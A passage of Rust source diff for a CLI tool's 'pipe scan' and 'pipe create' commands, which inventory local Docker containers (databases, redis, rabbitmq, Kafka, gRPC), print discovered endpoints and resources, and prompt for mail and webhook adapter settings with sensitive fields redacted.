NOT IN ('pg_catalog','information_schema') ORDER BY 1 LIMIT 50".to_string(), + ]; + if let Some(output) = docker_exec(&container.name, &command) { + let items = output + .lines() + .filter(|line| !line.trim().is_empty()) + .map(|line| ProbeResourceItem { + resource_type: "table".to_string(), + name: line.trim().to_string(), + summary: "CDC candidate".to_string(), + fields: Vec::new(), + }) + .collect::>(); + if !items.is_empty() { + resources.push(ProbeResource { + container: container.name.clone(), + protocol: "postgres".to_string(), + address: format!( + "postgres://{}/{}", + first_container_address(container, 5432), + db + ), + items, + }); + detected.push("postgres".to_string()); + } + } + } + + if requested.contains("mysql") + && local_resource_probe_plan(container) + .iter() + .any(|p| p == "mysql") + { + let user = container + .env + .get("MYSQL_USER") + .cloned() + .unwrap_or_else(|| "root".to_string()); + let db = container + .env + .get("MYSQL_DATABASE") + .cloned() + .unwrap_or_else(|| "mysql".to_string()); + let password_arg = container + .env + .get("MYSQL_PASSWORD") + .or_else(|| container.env.get("MYSQL_ROOT_PASSWORD")) + .map(|v| format!("-p{}", v)) + .unwrap_or_default(); + let mut args = vec!["mysql".to_string(), "-u".to_string(), user.clone()]; + if !password_arg.is_empty() { + args.push(password_arg); + } + args.extend([ + "-Nse".to_string(), + "SELECT CONCAT(TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT IN ('information_schema','mysql','performance_schema','sys') LIMIT 50".to_string(), + db.clone(), + ]); + if let Some(output) = docker_exec(&container.name, &args) { + let items = output + .lines() + .filter(|line| !line.trim().is_empty()) + .map(|line| ProbeResourceItem { + resource_type: "table".to_string(), + name: line.trim().to_string(), + summary: "SQL resource".to_string(), + fields: Vec::new(), + }) + .collect::>(); + if !items.is_empty() { + resources.push(ProbeResource { + container: container.name.clone(), + protocol: "mysql".to_string(), + address: format!( + "mysql://{}/{}", + first_container_address(container, 3306), + db + ), + items, + }); + detected.push("mysql".to_string()); + } + } + } + + if requested.contains("redis") + && local_resource_probe_plan(container) + .iter() + .any(|p| p == "redis") + { + if let Some(output) = docker_exec( + &container.name, + &[ + "redis-cli".to_string(), + "--raw".to_string(), + "INFO".to_string(), + "keyspace".to_string(), + ], + ) { + let items = output + .lines() + .filter(|line| line.starts_with("db")) + .map(|line| ProbeResourceItem { + resource_type: "keyspace".to_string(), + name: line.split(':').next().unwrap_or(line).to_string(), + summary: line.to_string(), + fields: Vec::new(), + }) + .collect::>(); + if !items.is_empty() { + resources.push(ProbeResource { + container: container.name.clone(), + protocol: "redis".to_string(), + address: format!("redis://{}", first_container_address(container, 6379)), + items, + }); + detected.push("redis".to_string()); + } + } + } + + if requested.contains("rabbitmq") + && local_resource_probe_plan(container) + .iter() + .any(|p| p == "rabbitmq") + { + let queues = docker_exec( + &container.name, + &[ + "rabbitmqctl".to_string(), + "list_queues".to_string(), + "name".to_string(), + "messages".to_string(), + ], + ) + .unwrap_or_default(); + let exchanges = docker_exec( + &container.name, + &[ + "rabbitmqctl".to_string(), + "list_exchanges".to_string(), + "name".to_string(), + "type".to_string(), + ], + ) + .unwrap_or_default(); + let mut items = Vec::new(); + for line in queues.lines().skip(1) { + let trimmed = line.trim(); + if !trimmed.is_empty() { + let name = trimmed + .split_whitespace() + .next() + .unwrap_or(trimmed) + .to_string(); + items.push(ProbeResourceItem { + resource_type: "queue".to_string(), + name, + summary: trimmed.to_string(), + fields: Vec::new(), + }); + } + } + for line in exchanges.lines().skip(1) { + let trimmed = line.trim(); + if !trimmed.is_empty() { + let name = trimmed + .split_whitespace() + .next() + .unwrap_or(trimmed) + .to_string(); + items.push(ProbeResourceItem { + resource_type: "exchange".to_string(), + name, + summary: trimmed.to_string(), + fields: Vec::new(), + }); + } + } + if !items.is_empty() { + resources.push(ProbeResource { + container: container.name.clone(), + protocol: "rabbitmq".to_string(), + address: format!("amqp://{}", first_container_address(container, 5672)), + items, + }); + detected.push("rabbitmq".to_string()); + } + } + + if requested.contains("kafka") + && local_resource_probe_plan(container) + .iter() + .any(|p| p == "kafka") + { + let script = "if command -v kafka-topics.sh >/dev/null 2>&1; then kafka-topics.sh --bootstrap-server localhost:9092 --list; elif [ -x /opt/bitnami/kafka/bin/kafka-topics.sh ]; then /opt/bitnami/kafka/bin/kafka-topics.sh --bootstrap-server localhost:9092 --list; fi"; + if let Some(output) = docker_exec( + &container.name, + &["sh".to_string(), "-lc".to_string(), script.to_string()], + ) { + let items = output + .lines() + .filter(|line| !line.trim().is_empty()) + .map(|line| ProbeResourceItem { + resource_type: "topic".to_string(), + name: line.trim().to_string(), + summary: "Kafka topic".to_string(), + fields: Vec::new(), + }) + .collect::>(); + if !items.is_empty() { + resources.push(ProbeResource { + container: container.name.clone(), + protocol: "kafka".to_string(), + address: first_container_address(container, 9092), + items, + }); + detected.push("kafka".to_string()); + } + } + } + + if requested.contains("grpc") + && local_resource_probe_plan(container) + .iter() + .any(|p| p == "grpc") + { + resources.push(ProbeResource { + container: container.name.clone(), + protocol: "grpc".to_string(), + address: first_container_address(container, 50051), + items: vec![ProbeResourceItem { + resource_type: "service".to_string(), + name: container.name.clone(), + summary: "gRPC port detected; reflection probing not yet available locally" + .to_string(), + fields: Vec::new(), + }], + }); + detected.push("grpc".to_string()); + } + + (resources, detected) +} + +fn discover_local_containers( + filter: Option<&str>, +) -> Result, Box> { + let output = std::process::Command::new("docker") + .args([ + "ps", + "--format", + "{{.ID}}\t{{.Names}}\t{{.Ports}}\t{{.Networks}}\t{{.Status}}\t{{.Image}}", + ]) + .output()?; + + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + return Err(Box::new(CliError::ConfigValidation(format!( + "docker ps failed: {}", + stderr.trim() + )))); + } + + let stdout = String::from_utf8_lossy(&output.stdout); + let lines: Vec<_> = stdout.lines().filter(|l| !l.trim().is_empty()).collect(); + let filter = filter.filter(|value| !value.is_empty() && *value != "*" && *value != "all"); + + let matched: Vec<_> = if let Some(filter) = filter { + lines + .into_iter() + .filter(|line| { + line.split('\t') + .nth(1) + .map(|name| name.contains(filter)) + .unwrap_or(false) + }) + .collect() + } else { + lines + }; + + let mut containers = Vec::new(); + for line in matched { + let parts: Vec<&str> = line.split('\t').collect(); + let container_id = parts.first().copied().unwrap_or(""); + let inspect_output = std::process::Command::new("docker") + .args(["inspect", container_id]) + .output()?; + if !inspect_output.status.success() { + continue; + } + let inspect_json: serde_json::Value = serde_json::from_slice(&inspect_output.stdout)?; + let inspect_entry = inspect_json + .as_array() + .and_then(|items| items.first()) + .cloned() + .unwrap_or(inspect_json); + if let Ok(container) = parse_local_container_inspect(&inspect_entry) { + containers.push(container); + } + } + + Ok(containers) +} + +fn build_local_probe_report( + app_code: &str, + containers: &[LocalContainerInfo], + protocols: &[String], + capture_samples: bool, +) -> ProbeEndpointsCommandReport { + build_local_probe_report_with_progress( + app_code, + containers, + protocols, + capture_samples, + |_, _, _| {}, + ) +} + +fn build_local_probe_report_with_progress( + app_code: &str, + containers: &[LocalContainerInfo], + protocols: &[String], + capture_samples: bool, + mut on_progress: F, +) -> ProbeEndpointsCommandReport +where + F: FnMut(usize, usize, &str), +{ + let mut endpoints = Vec::new(); + let mut forms = Vec::new(); + let mut resources = Vec::new(); + let mut containers_out = Vec::new(); + let mut probe_attempts = Vec::new(); + let mut protocols_detected = BTreeSet::new(); + let protocols_requested = normalize_protocols(protocols); + let total = containers.len(); + + for (index, container) in containers.iter().enumerate() { + on_progress(index + 1, total, &container.name); + let (http_endpoints, http_forms, http_detected) = + local_http_probe(container, protocols, capture_samples, 3); + let (resource_items, resource_detected) = local_resource_probe(container, protocols); + let attempt_outcome = detection_outcome(&http_endpoints, &http_forms, &resource_items); + + for protocol in http_detected + .into_iter() + .chain(resource_detected.into_iter()) + { + protocols_detected.insert(protocol); + } + probe_attempts.push(ProbeAttempt { + scope: "local_container".to_string(), + selector: Some(app_code.to_string()), + container: Some(container.name.clone()), + protocols: protocols_requested.clone(), + outcome: attempt_outcome, + }); + endpoints.extend(http_endpoints); + forms.extend(http_forms); + resources.extend(resource_items); + containers_out.push(ProbeContainer { + name: container.name.clone(), + image: container.image.clone(), + network: container.network.clone(), + ports: container + .ports + .iter() + .map(|binding| match binding.host_port { + Some(host_port) => format!( + "{}->{}{}", + host_port, + binding.container_port, + format!("/{}", binding.protocol) + ), + None => format!("{}/{}", binding.container_port, binding.protocol), + }) + .collect(), + addresses: container + .addresses + .iter() + .flat_map(|address| { + if container.ports.is_empty() { + vec![address.clone()] + } else { + container + .ports + .iter() + .map(|binding| format!("{}:{}", address, binding.container_port)) + .collect::>() + } + }) + .collect(), + }); + } + + let mut report = ProbeEndpointsCommandReport { + command_type: "probe_endpoints".to_string(), + deployment_hash: "local".to_string(), + app_code: app_code.to_string(), + protocols_detected: protocols_detected.into_iter().collect(), + protocols_requested, + containers: containers_out, + endpoints, + resources, + forms, + probe_attempts, + target_kind: None, + probed_at: Utc::now().to_rfc3339(), + }; + report.target_kind = Some(classify_probe_target_kind(app_code, &report)); + report +} + +fn local_report_to_agent_info( + report: &ProbeEndpointsCommandReport, + capture_samples: bool, +) -> Result> { + probe_report_to_agent_info(report, capture_samples) +} + +fn probe_report_to_agent_info( + report: &ProbeEndpointsCommandReport, + capture_samples: bool, +) -> Result> { + Ok(AgentCommandInfo { + command_id: format!("synthetic-{}", report.app_code), + deployment_hash: report.deployment_hash.clone(), + command_type: "probe_endpoints".to_string(), + status: "completed".to_string(), + priority: "normal".to_string(), + parameters: Some(serde_json::json!({ + "app_code": report.app_code, + "protocols": report.protocols_requested, + "capture_samples": capture_samples, + })), + result: Some(serde_json::to_value(report)?), + error: None, + created_at: report.probed_at.clone(), + updated_at: report.probed_at.clone(), + }) +} + +#[derive(Debug, Clone, PartialEq)] +pub enum PipeScanRequest { + /// Backward-compatible form: local = container filter, remote = app code. + Legacy { selector: Option }, + /// Explicit local container discovery. + Containers { filter: Option }, + /// Explicit remote app probe. + App { + app: String, + container: Option, + }, +} + +impl PipeScanRequest { + fn local_filter(&self) -> Result, CliError> { + match self { + PipeScanRequest::Legacy { selector } => Ok(selector.as_deref()), + PipeScanRequest::Containers { filter } => Ok(filter.as_deref()), + PipeScanRequest::App { .. } => Err(CliError::ConfigValidation( + "Local scan works with containers, not app codes.\n\ + Use `stacker pipe scan` or `stacker pipe scan --containers [FILTER]`." + .to_string(), + )), + } + } + + fn remote_selector(&self) -> Result<(&str, Option<&str>), CliError> { + match self { + PipeScanRequest::Legacy { + selector: Some(selector), + } => Ok((selector.as_str(), None)), + PipeScanRequest::Legacy { selector: None } => Err(CliError::ConfigValidation( + "Remote scan requires an app selector.\n\ + Use `stacker pipe scan --app `." + .to_string(), + )), + PipeScanRequest::Containers { .. } => Err(CliError::ConfigValidation( + "Container inventory is local-only.\n\ + For remote scans use `stacker pipe scan --app [--container ]`." + .to_string(), + )), + PipeScanRequest::App { app, container } => Ok((app.as_str(), container.as_deref())), + } + } + + fn maybe_print_legacy_hint(&self, is_local: bool) { + if let PipeScanRequest::Legacy { + selector: Some(selector), + } = self + { + if is_local { + eprintln!( + "Hint: `stacker pipe scan {}` is legacy syntax. Prefer `stacker pipe scan --containers {}`.", + selector, selector + ); + } else { + eprintln!( + "Hint: `stacker pipe scan {}` is legacy syntax. Prefer `stacker pipe scan --app {}`.", + selector, selector + ); + } + } + } +} + +pub struct PipeScanCommand { + pub request: PipeScanRequest, + pub protocols: Vec, + pub capture_samples: bool, + pub json: bool, + pub deployment: Option, +} + +impl PipeScanCommand { + pub fn new( + request: PipeScanRequest, + protocols: Vec, + capture_samples: bool, + json: bool, + deployment: Option, + ) -> Self { + Self { + request, + protocols, + capture_samples, + json, + deployment, + } + } + + /// Local scan: discover containers via `docker ps`. + fn scan_local( + &self, + project_dir: &Path, + prefix: &str, + filter: Option<&str>, + ) -> Result<(), Box> { + let pb = progress::spinner(&format!("{}Scanning local Docker containers...", prefix)); + let containers = match discover_local_containers(filter) { + Ok(containers) => containers, + Err(error) => { + progress::finish_error(&pb, "Docker discovery failed"); + eprintln!("{}", error); + return Ok(()); + } + }; + if containers.is_empty() { + progress::finish_error(&pb, "No containers running"); + println!("No Docker containers found. Start your services first."); + return Ok(()); + } + progress::finish_success( + &pb, + &format!("{}{} container(s) discovered", prefix, containers.len()), + ); + + let protocols = if self.protocols.is_empty() { + default_local_probe_protocols() + } else { + self.protocols.clone() + }; + let probe_pb = progress::spinner(&format!( + "{}Probing local containers (0/{})...", + prefix, + containers.len() + )); + let report = build_local_probe_report_with_progress( + filter.unwrap_or("local"), + &containers, + &protocols, + self.capture_samples, + |current, total, container| { + progress::update_message( + &probe_pb, + &format!( + "{}Probing container {}/{}: {}", + prefix, current, total, container + ), + ); + }, + ); + progress::finish_success(&probe_pb, &format!("{}Probe stage complete", prefix)); + + let request = PipeDiscoveryRequest::local( + filter.unwrap_or("local"), + &protocols, + self.capture_samples, + ); + write_pipe_scan_cache(project_dir, &request, &report)?; + + if self.json { + println!("{}", serde_json::to_string_pretty(&report)?); + } else { + let info = local_report_to_agent_info(&report, self.capture_samples)?; + print_scan_result(&info); + println!(" Use these container names with 'stacker pipe create '"); + } + + Ok(()) + } + + fn scan_remote( + &self, + project_dir: &Path, + ctx: &CliRuntime, + hash: &str, + app: &str, + container: Option<&str>, + ) -> Result<(), Box> { + let protocols = if self.protocols.is_empty() { + vec![ + "openapi".to_string(), + "html_forms".to_string(), + "rest".to_string(), + ] + } else { + self.protocols.clone() + }; + let request = + PipeDiscoveryRequest::remote(hash, app, container, &protocols, self.capture_samples); + let description = match container { + Some(container_name) => { + format!( + "Scanning app {} (container {}) for endpoints", + app, container_name + ) + } + None => format!("Scanning app {} for endpoints", app), + }; + + let info = run_remote_probe(ctx, &request, &description)?; + cache_probe_if_completed(project_dir, &request, &info)?; + + if self.json { + print_command_result(&info, true); + } else { + print_scan_result(&info); + } + + Ok(()) + } +} + +impl CallableTrait for PipeScanCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("pipe scan")?; + let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?; + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + let prefix = mode_prefix(&deploy_ctx); + + if deploy_ctx.is_local() { + self.request.maybe_print_legacy_hint(true); + let filter = self.request.local_filter()?; + return self.scan_local(&project_dir, prefix, filter); + } + + let hash = match &deploy_ctx { + DeploymentContext::Remote(h) => h.clone(), + _ => unreachable!(), + }; + self.request.maybe_print_legacy_hint(false); + let (app, container) = self.request.remote_selector()?; + self.scan_remote(&project_dir, &ctx, &hash, app, container) + } +} + +fn print_scan_result(info: &AgentCommandInfo) { + if info.status != "completed" { + if let Some(ref error) = info.error { + eprintln!("Scan failed: {}", fmt::pretty_json(error)); + } else { + eprintln!("Scan failed: unknown error"); + } + return; + } + + let result = match &info.result { + Some(r) => r, + None => { + eprintln!("No scan results returned"); + return; + } + }; + + let app_code = result["app_code"].as_str().unwrap_or("unknown"); + let protocols = result["protocols_detected"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str()) + .collect::>() + .join(", ") + }) + .unwrap_or_default(); + + if let Some(containers) = result["containers"].as_array() { + if !containers.is_empty() { + println!("\n Containers matched: {}", containers.len()); + for container in containers { + let name = container["name"].as_str().unwrap_or("?"); + let network = container["network"].as_str().unwrap_or(""); + let image = container["image"].as_str().unwrap_or(""); + let addresses = container["addresses"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str()) + .collect::>() + .join(", ") + }) + .unwrap_or_default(); + println!(" {} [{}] {}", name, network, image); + if !addresses.is_empty() { + println!(" addresses: {}", addresses); + } + } + } + } + + println!("\n App: {}", app_code); + println!( + " Protocols detected: {}", + if protocols.is_empty() { + "none" + } else { + &protocols + } + ); + + if let Some(endpoints) = result["endpoints"].as_array() { + for ep in endpoints { + let protocol = ep["protocol"].as_str().unwrap_or("unknown"); + let base_url = ep["base_url"].as_str().unwrap_or(""); + let spec_url = ep["spec_url"].as_str().unwrap_or(""); + println!("\n [{protocol}] {base_url}{spec_url}"); + + if let Some(operations) = ep["operations"].as_array() { + for op in operations { + let method = op["method"].as_str().unwrap_or("?"); + let path = op["path"].as_str().unwrap_or("?"); + let summary = op["summary"].as_str().unwrap_or(""); + let fields = op["fields"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str()) + .collect::>() + .join(", ") + }) + .unwrap_or_default(); + + print!(" {:>6} {}", method, path); + if !summary.is_empty() { + print!(" -- {}", summary); + } + println!(); + if !fields.is_empty() { + println!(" fields: [{}]", fields); + } + if let Some(sample) = op.get("sample_response") { + if !sample.is_null() { + let sample_str = serde_json::to_string(sample).unwrap_or_default(); + if sample_str.len() > 120 { + println!(" sample: {}...", &sample_str[..117]); + } else { + println!(" sample: {}", sample_str); + } + } + } + } + } + } + } + + if let Some(resources) = result["resources"].as_array() { + if !resources.is_empty() { + println!("\n Resources:"); + for resource in resources { + let protocol = resource["protocol"].as_str().unwrap_or("unknown"); + let address = resource["address"].as_str().unwrap_or(""); + let container = resource["container"].as_str().unwrap_or(""); + if container.is_empty() { + println!(" [{}] {}", protocol, address); + } else { + println!(" [{}] {} ({})", protocol, address, container); + } + if let Some(items) = resource["items"].as_array() { + for item in items { + let resource_type = item["resource_type"].as_str().unwrap_or("resource"); + let name = item["name"].as_str().unwrap_or("?"); + let summary = item["summary"].as_str().unwrap_or(""); + let fields = item["fields"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str()) + .collect::>() + .join(", ") + }) + .unwrap_or_default(); + if summary.is_empty() { + println!(" {} {}", resource_type, name); + } else { + println!(" {} {} -- {}", resource_type, name, summary); + } + if !fields.is_empty() { + println!(" fields: [{}]", fields); + } + } + } + } + } + } + + if let Some(forms) = result["forms"].as_array() { + if !forms.is_empty() { + println!("\n HTML Forms:"); + for form in forms { + let id = form["id"].as_str().unwrap_or("?"); + let action = form["action"].as_str().unwrap_or("?"); + let method = form["method"].as_str().unwrap_or("?"); + let fields = form["fields"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str()) + .collect::>() + .join(", ") + }) + .unwrap_or_default(); + + println!(" #{} {} {}", id, method, action); + if !fields.is_empty() { + println!(" fields: [{}]", fields); + } + } + } + } + + let no_endpoints = result["endpoints"] + .as_array() + .map(|a| a.is_empty()) + .unwrap_or(true); + let no_resources = result["resources"] + .as_array() + .map(|a| a.is_empty()) + .unwrap_or(true); + let no_forms = result["forms"] + .as_array() + .map(|a| a.is_empty()) + .unwrap_or(true); + if no_endpoints && no_resources && no_forms { + println!("\n No endpoints or resources were discovered for the matched containers."); + } + + println!(); +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// stacker pipe create — interactive pipe creation +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct PipeCreateCommand { + pub source: String, + pub target: String, + pub manual: bool, + pub ai: bool, + pub no_ai: bool, + pub ml: bool, + pub json: bool, + pub deployment: Option, +} + +impl PipeCreateCommand { + pub fn new( + source: String, + target: String, + manual: bool, + ai: bool, + no_ai: bool, + ml: bool, + json: bool, + deployment: Option, + ) -> Self { + Self { + source, + target, + manual, + ai, + no_ai, + ml, + json, + deployment, + } + } +} + +#[derive(Debug, Clone)] +struct SelectableOperation { + container: Option, + adapter: Option, + method: String, + path: String, + summary: String, + fields: Vec, + sample: Option, +} + +/// Extract selectable HTTP/form operations from a probe result. +fn extract_operations(info: &AgentCommandInfo) -> Vec { + let mut ops = Vec::new(); + if let Some(ref result) = info.result { + if let Some(endpoints) = result["endpoints"].as_array() { + for ep in endpoints { + let base = ep["base_url"].as_str().unwrap_or(""); + let container = ep["container"].as_str().map(String::from); + if let Some(operations) = ep["operations"].as_array() { + for op in operations { + let method = op["method"].as_str().unwrap_or("GET").to_string(); + let path = format!("{}{}", base, op["path"].as_str().unwrap_or("")); + let summary = op["summary"].as_str().unwrap_or("").to_string(); + let fields = op["fields"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default(); + let sample = op.get("sample_response").filter(|v| !v.is_null()).cloned(); + ops.push(SelectableOperation { + container: container.clone(), + adapter: None, + method, + path, + summary, + fields, + sample, + }); + } + } + } + } + if let Some(forms) = result["forms"].as_array() { + for form in forms { + let method = form["method"].as_str().unwrap_or("GET").to_string(); + let path = form["action"].as_str().unwrap_or("/").to_string(); + let fields = form["fields"] + .as_array() + .map(|a| { + a.iter() + .filter_map(|v| v.as_str().map(String::from)) + .collect() + }) + .unwrap_or_default(); + ops.push(SelectableOperation { + container: form["container"].as_str().map(String::from), + adapter: None, + method, + path, + summary: format!("HTML form {}", form["id"].as_str().unwrap_or("?")), + fields, + sample: None, + }); + } + } + } + ops +} + +fn result_has_resources(info: &AgentCommandInfo) -> bool { + info.result + .as_ref() + .and_then(|result| result["resources"].as_array()) + .map(|resources| !resources.is_empty()) + .unwrap_or(false) +} + +fn builtin_adapter_for_selector( + selector: &str, + role: PipeAdapterRole, +) -> Option { + let registry = builtin_registry(); + let canonical = ServiceCatalog::resolve_alias(selector); + let candidates = [canonical, selector.to_string()]; + candidates + .iter() + .find_map(|candidate| { + registry.find(candidate).or_else(|| { + registry + .adapters() + .into_iter() + .find(|metadata| selector_matches_builtin_kind(candidate, metadata.kind)) + }) + }) + .filter(|metadata| metadata.supports_role(role)) +} + +fn adapter_fields(kind: PipeAdapterKind) -> Vec { + match kind { + PipeAdapterKind::SmtpTarget => vec![ + "from_email".to_string(), + "reply_to_email".to_string(), + "subject".to_string(), + "body_text".to_string(), + "body_html".to_string(), + ], + PipeAdapterKind::WebhookBridge + | PipeAdapterKind::HttpEndpoint + | PipeAdapterKind::HtmlForm => { + vec![] + } + PipeAdapterKind::Pop3Source | PipeAdapterKind::ImapSource => vec![ + "subject".to_string(), + "from_email".to_string(), + "to_email".to_string(), + "body_text".to_string(), + "body_html".to_string(), + ], + } +} + +fn adapter_sample(kind: PipeAdapterKind) -> Option { + match kind { + PipeAdapterKind::Pop3Source | PipeAdapterKind::ImapSource => Some(serde_json::json!({ + "subject": "Incident opened", + "from_email": "alerts@example.com", + "to_email": "ops@example.com", + "body_text": "CPU usage exceeded threshold" + })), + _ => None, + } +} + +fn synthetic_adapter_operation(metadata: &PipeAdapterMetadata) -> SelectableOperation { + let method = match metadata.kind { + PipeAdapterKind::SmtpTarget => "SEND", + PipeAdapterKind::Pop3Source | PipeAdapterKind::ImapSource => "POLL", + PipeAdapterKind::WebhookBridge => "POST", + PipeAdapterKind::HttpEndpoint => "HTTP", + PipeAdapterKind::HtmlForm => "FORM", + }; + SelectableOperation { + container: None, + adapter: Some(metadata.clone()), + method: method.to_string(), + path: format!("adapter:{}", metadata.code), + summary: format!("{} adapter", metadata.display_name), + fields: adapter_fields(metadata.kind), + sample: adapter_sample(metadata.kind), + } +} + +fn template_endpoint_for_operation(operation: &SelectableOperation) -> serde_json::Value { + if let Some(adapter) = &operation.adapter { + serde_json::json!({ + "mode": "adapter", + "adapter": adapter.code, + "display_name": adapter.display_name, + }) + } else { + serde_json::json!({ + "path": operation.path, + "method": operation.method, + }) + } +} + +fn prompt_text( + prompt: &str, + default: Option<&str>, + allow_empty: bool, +) -> Result> { + let mut input = dialoguer::Input::::new().with_prompt(prompt.to_string()); + if let Some(default) = default { + input = input.default(default.to_string()); + } + if allow_empty { + input = input.allow_empty(true); + } + Ok(input.interact_text()?.trim().to_string()) +} + +fn prompt_optional_text( + prompt: &str, + default: Option<&str>, +) -> Result, Box> { + let value = prompt_text(prompt, default, true)?; + if value.is_empty() { + Ok(None) + } else { + Ok(Some(value)) + } +} + +fn prompt_secret(prompt: &str) -> Result, Box> { + let value = if io::stdin().is_terminal() { + Password::new() + .with_prompt(prompt) + .allow_empty_password(true) + .interact()? + } else { + prompt_text(prompt, None, true)? + }; + let trimmed = value.trim().to_string(); + if trimmed.is_empty() { + Ok(None) + } else { + Ok(Some(trimmed)) + } +} + +fn prompt_port(prompt: &str, default: u16) -> Result> { + let value = prompt_text(prompt, Some(&default.to_string()), false)?; + value + .parse::() + .map_err(|err| format!("Invalid port '{}': {}", value, err).into()) +} + +fn prompt_adapter_reference( + metadata: &PipeAdapterMetadata, +) -> Result<(PipeAdapterReference, Option), Box> { + let mut reference = PipeAdapterReference::new(metadata.code.clone()); + let role = metadata.roles.first().copied(); + if let Some(role) = role { + reference = reference.with_role(role); + } + + let mut config = serde_json::Map::new(); + let mut target_url = None; + match metadata.kind { + PipeAdapterKind::SmtpTarget => { + let host = prompt_text("SMTP host", None, false)?; + let port = prompt_port("SMTP port", 587)?; + let username = prompt_optional_text("SMTP username", None)?; + let password = prompt_secret("SMTP password")?; + let from = prompt_optional_text("SMTP from address", None)?; + let to = prompt_text("SMTP recipient address", None, false)?; + let tls = dialoguer::Confirm::new() + .with_prompt("Use TLS for SMTP") + .default(true) + .interact()?; + config.insert("host".to_string(), serde_json::json!(host)); + config.insert("port".to_string(), serde_json::json!(port)); + config.insert("to".to_string(), serde_json::json!([to])); + config.insert("tls".to_string(), serde_json::json!(tls)); + if let Some(username) = username { + config.insert("username".to_string(), serde_json::json!(username)); + } + if let Some(password) = password { + config.insert("password".to_string(), serde_json::json!(password)); + } + if let Some(from) = from { + config.insert("from".to_string(), serde_json::json!(from)); + } + } + PipeAdapterKind::ImapSource => { + let host = prompt_text("IMAP host", None, false)?; + let port = prompt_port("IMAP port", 993)?; + let username = prompt_text("IMAP username", None, false)?; + let password = prompt_secret("IMAP password")?; + let mailbox = prompt_text("IMAP mailbox", Some("INBOX"), false)?; + let tls = dialoguer::Confirm::new() + .with_prompt("Use TLS for IMAP") + .default(true) + .interact()?; + config.insert("host".to_string(), serde_json::json!(host)); + config.insert("port".to_string(), serde_json::json!(port)); + config.insert("username".to_string(), serde_json::json!(username)); + config.insert("mailbox".to_string(), serde_json::json!(mailbox)); + config.insert("tls".to_string(), serde_json::json!(tls)); + if let Some(password) = password { + config.insert("password".to_string(), serde_json::json!(password)); + } + } + PipeAdapterKind::Pop3Source => { + let host = prompt_text("POP3 host", None, false)?; + let port = prompt_port("POP3 port", 995)?; + let username = prompt_text("POP3 username", None, false)?; + let password = prompt_secret("POP3 password")?; + let tls = dialoguer::Confirm::new() + .with_prompt("Use TLS for POP3") + .default(true) + .interact()?; + config.insert("host".to_string(), serde_json::json!(host)); + config.insert("port".to_string(), serde_json::json!(port)); + config.insert("username".to_string(), serde_json::json!(username)); + config.insert("tls".to_string(), serde_json::json!(tls)); + if let Some(password) = password { + config.insert("password".to_string(), serde_json::json!(password)); + } + } + PipeAdapterKind::WebhookBridge => { + let url = prompt_text("Webhook URL", None, false)?; + target_url = Some(url.clone()); + config.insert("url".to_string(), serde_json::json!(url)); + } + PipeAdapterKind::HttpEndpoint | PipeAdapterKind::HtmlForm => {} + } + + if !config.is_empty() { + reference = reference.with_config(serde_json::Value::Object(config)); + } + + Ok((reference, target_url)) +} + +fn is_sensitive_adapter_key(key: &str) -> bool { + let lowered = key.trim().to_ascii_lowercase(); + lowered.contains("password") + || lowered.contains("secret") + || lowered.contains("token") + || lowered.contains("credential") + || lowered == "auth" + || lowered.ends_with("_auth") + || lowered.contains("api_key") + || lowered.ends_with("_key") +} + +fn redact_sensitive_json(value: &mut serde_json::Value) { + match value { + serde_json::Value::Array(values) => { + for item in values { + redact_sensitive_json(item); + } + } + serde_json::Value::Object(map) => { + for (key, value) in map.iter_mut() { + if is_sensitive_adapter_key(key) { + *value = serde_json::Value::String("[REDACTED]".to_string()); + } else { + redact_sensitive_json(value); + } + } + } + _ => {} + } +} + +fn scan_inspection_hint(name: &str, deploy_ctx: &DeploymentContext) -> String { + match deploy_ctx { + DeploymentContext::Local => { + format!( + "Run `stacker pipe scan --containers {}` to inspect discovery results.", + name + ) + } + DeploymentContext::Remote(_) => { + format!( + "Run `stacker pipe scan --app {}` to inspect discovery results.", + name + ) + } + } +} + +fn local_container_for_operation(operation: &SelectableOperation, fallback: &str) -> String { + operation + .container + .clone() + .unwrap_or_else(|| fallback.to_string()) +} + +fn operation_label(operation: &SelectableOperation) -> String { + let prefix = operation + .container + .as_ref() + .map(|container| format!("[{}] ", container)) + .unwrap_or_default(); + if operation.summary.is_empty() { + format!("{}{:>6} {}", prefix, operation.method, operation.path) + } else { + format!( + "{}{:>6} {} — {}", + prefix, operation.method, operation.path, operation.summary + ) + } +} + +fn operation_labels(operations: &[SelectableOperation]) -> Vec { + operations.iter().map(operation_label).collect() +} + +fn explain_no_selectable_operations( + name: &str, + info: &AgentCommandInfo, + deploy_ctx: &DeploymentContext, + role: &str, +) -> String { + let target_kind = decode_probe_report(info) + .ok() + .and_then(|report| report.target_kind) + .unwrap_or_else(|| { + if selector_is_smtpish(name) { + "smtp".to_string() + } else if result_has_resources(info) { + "resource".to_string() + } else { + "unknown".to_string() + } + }); + + if target_kind == "smtp" { + return format!( + "'{}' looks like an SMTP {}. `stacker pipe create` currently supports HTTP endpoints and HTML forms only.\nUse an HTTP-capable bridge/webhook target first, validate locally, then export remotely.\n{}", + name, + role, + scan_inspection_hint(name, deploy_ctx) + ); + } + + if result_has_resources(info) { + format!( + "Resources were discovered for '{}', but `pipe create` currently supports HTTP endpoints and HTML forms only.\n{}", + name, + scan_inspection_hint(name, deploy_ctx) + ) + } else { + format!( + "No selectable HTTP endpoints or HTML forms were discovered for '{}'.\n{}", + name, + scan_inspection_hint(name, deploy_ctx) + ) + } +} + +fn describe_discovery_run(run: &DiscoveryRun) -> String { + let report = decode_probe_report(&run.info).ok(); + let requested = report + .as_ref() + .map(|report| { + if report.protocols_requested.is_empty() { + "default".to_string() + } else { + 